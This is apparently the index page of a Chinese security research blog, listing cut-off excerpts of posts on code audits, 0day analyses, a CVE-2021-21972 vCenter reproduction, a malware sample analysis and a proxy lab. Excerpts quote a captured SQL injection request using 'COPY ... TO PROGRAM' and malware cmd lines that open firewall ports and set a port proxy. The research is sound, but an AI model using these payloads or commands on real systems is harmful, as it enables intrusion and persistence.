Sp4ce's Blog

发表于2021-05-14|代码审计|日常•代码审计| 条评论

SQL注入文件inter/update_software_info.php <?php//客户端显示数据require_once "./use_db.php";require_once "./common/functions.php";$return=array();$return["nResult"] =0;$where='where 1=1';if (!is_null($_POST['type']) and $_POST['type'] !="") { $id=$_POST['type']; $where .=" and type=$id ";}if (!is_null($_POST['key'])) { $keyname=$_POST['key']; $where .=" and keyname ...

浪潮ClusterEngine登录控制缺陷

发表于2021-04-28|漏洞挖掘|日常•漏洞挖掘| 条评论

65b2ab065baa4f1fe9b18bbe6716b06b60f085f2ceb95b768b2676a5d18106cbf8597dc35c4b10d4bb190ab1315dfb43dbfe73635eb99201ab19ecbb08362adb434c74afc86f6c486432d33038195e85c263df49432f3871005f6424a04f88027f2132a343e7b524348282ff3e76b08c68c6bf0b6dde8ab02a2a098691f07610e2de778c7e0fc19c29b9e5fbdf4b53b60d8c639b2451c4fe93ca6a5527deb3d0ba2dd51eda8eb394e1ba058bd54d7015fd82cb5b9adc47e0961031ab5fa89a717e2f9d4e5ff39e79936fdaee5503e4365ae9150aa58c2a29eab568efc2644a44d4025c3da2bb0c04ae86225cc322809a09883748534d5a4e5 ...

天擎部分漏洞

发表于2021-04-27|代码审计|日常•代码审计| 条评论

在某大型活动中捕获到了天擎（QAX Skylar）的几个0day，跟代码审了下 0x01 第一类活动期间在WAF上拦截到一枚注入，数据包如下 POST /api/upload_client_conf.json?mid=马赛克 HTTP/1.1Host: 马赛克User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Accept-Encoding: gzip, deflateAccept: */*Connection: keep-aliveContent-Length: 128Content-Type: application/json{"summary": {"0": {"nickname": "cpu='1';CopY(sElEct 1)TO pRogRAM 'e ...

CVE-2021-21972 复现和分析

发表于2021-02-27|漏洞复现|日常•漏洞复现| 条评论

0x01 背景vSphere是VMware推出的虚拟化平台套件，包含ESXi、vCenter Server等一系列的软件。其中vCenter Server为 ESXi的控制中心，可从单一控制点统一管理数据中心的所有vSphere主机和虚拟机，使得IT管理员能够提高控制能力，简化入场任务，并降低IT环境的管理复杂性与成本。 vSphere Client（HTML5）在vCenter Server插件中存在一个远程执行代码漏洞。未授权的攻击者可以通过开放443端口的服务器向vCenter Server发送精心构造的请求，从而在服务器上写入webshell，最终造成远程任意代码执行。 0x02 代码分析vCenter Server的vROPS插件的API未经过鉴权，存在一些敏感接口。其中 uploadova 接口存在一个上传 OVA 文件的功能： @RequestMapping( value = {"/uploadova"}, method = {RequestMethod.POST})public void uploadO ...

柠檬鸭组织样本分析

发表于2021-01-05|日常|日常•样本分析| 条评论

起因分析1.txt文本内容如下 cmd /c echo RmMrcM >> c:\windows\temp\msInstall.exe&echo copy /y c:\windows\temp\msInstall.exe c:\windows\kNnk.exe>c:/windows/temp/p.bat&echo "*" >c:\windows\temp\eb.txt&echo netsh interface ipv6 install >>c:/windows/temp/p.bat &echo netsh firewall add portopening tcp 65532 DNS2 >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.b ...

多级代理实验

发表于2020-12-14|日常|日常| 条评论

内网渗透中经常碰到多个网段的机器不出网的情况，做一套试验环境来练习下多级代理环境介绍以下环境均在VM16中搭建 LEDE x2.36 软路由 *1 网络：可出网，边界，IP 172.16.17.100 虚拟机配置：2C 4G 4网卡 Windows server 2019 *1 网络：可出网，DMZ，WEB机，IP 172.16.18.2 虚拟机配置：2C 2G 1网卡 Windows server 2016 *1 网络：不可出网，DMZ，IP 10.100.100.2 虚拟机配置：2C 2G 1网卡 Windows server 2008 R2*1 网络：不可出网，DMZ，IP 192.168.37.1 虚拟机配置：2C 2G 1网卡 Win10 *1 网络：通Win2019 虚机配置：4C8G 1网卡拓扑图攻击机配置 Win10 kali (parrot亦可) 过程LEDE配置安装好LEDE后配置接口如下配置后状态如图防火墙配置如下 DMZ规则 DMZ_WAN规则端口转发规则LEDE防火墙新建端口转发规则测试连通性3台 ...